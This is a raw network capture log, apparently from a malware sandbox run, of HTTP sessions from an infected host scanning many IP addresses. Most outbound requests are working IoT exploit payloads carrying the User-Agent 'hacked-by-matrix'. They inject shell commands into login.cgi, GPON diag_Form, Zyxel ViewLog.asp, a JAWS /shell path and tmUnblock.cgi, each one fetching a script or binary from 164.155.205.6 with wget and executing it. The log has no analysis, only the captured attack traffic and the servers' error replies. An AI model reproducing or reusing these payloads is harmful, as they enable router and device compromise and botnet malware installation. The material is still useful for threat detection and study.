71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 36 34 2d 34 31 2d 31 33 38 2d 33 32 2e 6a 75 73 74 69 61 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.2.15 (CentOS) Server at 64-41-138-32.justia.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1659	192.168.2.23	55558	192.252.128.120	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:41.081572056 CET	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
1660	192.168.2.23	60304	212.93.101.166	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:41.499279022 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:44.505907059 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:50.652921915 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1661	192.168.2.23	38806	23.205.79.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:41.555728912 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:41.843367100 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:41.931760073 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:41 GMT Date: Sat, 02 Mar 2024 11:38:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 39 66 33 64 61 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 35 32 31 26 23 34 36 3b 32 37 61 38 32 64 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.c9f3da17.1709379521.27a82d7</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1662	192.168.2.23	45962	104.254.233.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:41.561228991 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:42.071127892 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:42.169965029 CET	513	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:42 GMT Server: Apache/2.2.31 (CentOS) Content-Length: 319 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 33 31 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 70 61 73 63 75 61 6c 74 61 78 2e 66 72 65 65 76 6f 69 63 65 70 62 78 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.2.31 (CentOS) Server at pascualtax.freevoicepbx.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1663	192.168.2.23	50356	200.17.234.152	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:41.679491043 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:53.204653978 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1664	192.168.2.23	44706	216.131.99.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:42.135557890 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:42.289819002 CET	404	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:42 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1665	192.168.2.23	47238	23.198.237.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:42.283077002 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:42.814101934 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:42.981179953 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:42 GMT Date: Sat, 02 Mar 2024 11:38:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 36 64 61 34 37 36 38 26 23 34 36 3b 31 37 30 39 33 37 39 35 32 32 26 23 34 36 3b 34 33 62 36 38 61 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.46da4768.1709379522.43b68a8</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1666	192.168.2.23	32790	23.33.179.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:42.311248064 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:42.546813965 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:42 GMT Date: Sat, 02 Mar 2024 11:38:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 66 64 38 34 39 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 35 32 32 26 23 34 36 3b 33 38 35 39 34 39 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5fd84917.1709379522.3859496</BODY></HTML>
Mar 2, 2024 12:38:43.608752012 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:42 GMT Date: Sat, 02 Mar 2024 11:38:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 66 64 38 34 39 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 35 32 32 26 23 34 36 3b 33 38 35 39 34 39 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5fd84917.1709379522.3859496</BODY></HTML>
Mar 2, 2024 12:38:44.887779951 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Sat, 02 Mar 2024 11:38:42 GMT Date: Sat, 02 Mar 2024 11:38:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 66 64 38 34 39 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 35 32 32 26 23 34 36 3b 33 38 35 39 34 39 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5fd84917.1709379522.3859496</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1667	192.168.2.23	56984	44.236.201.242	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:42.492741108 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:42.731029987 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:42.905226946 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Sat, 02 Mar 2024 11:38:42 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1668	192.168.2.23	38330	39.107.128.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:42.666532040 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1669	192.168.2.23	49058	184.75.118.100	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:42.673212051 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:43.195060968 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:43.285794020 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request
Mar 2, 2024 12:38:43.586604118 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1670	192.168.2.23	48772	212.193.63.63	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:42.801832914 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:43.925987005 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:44.133260012 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Sat, 02 Mar 2024 11:38:44 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1671	192.168.2.23	39084	23.210.199.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:43.322346926 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
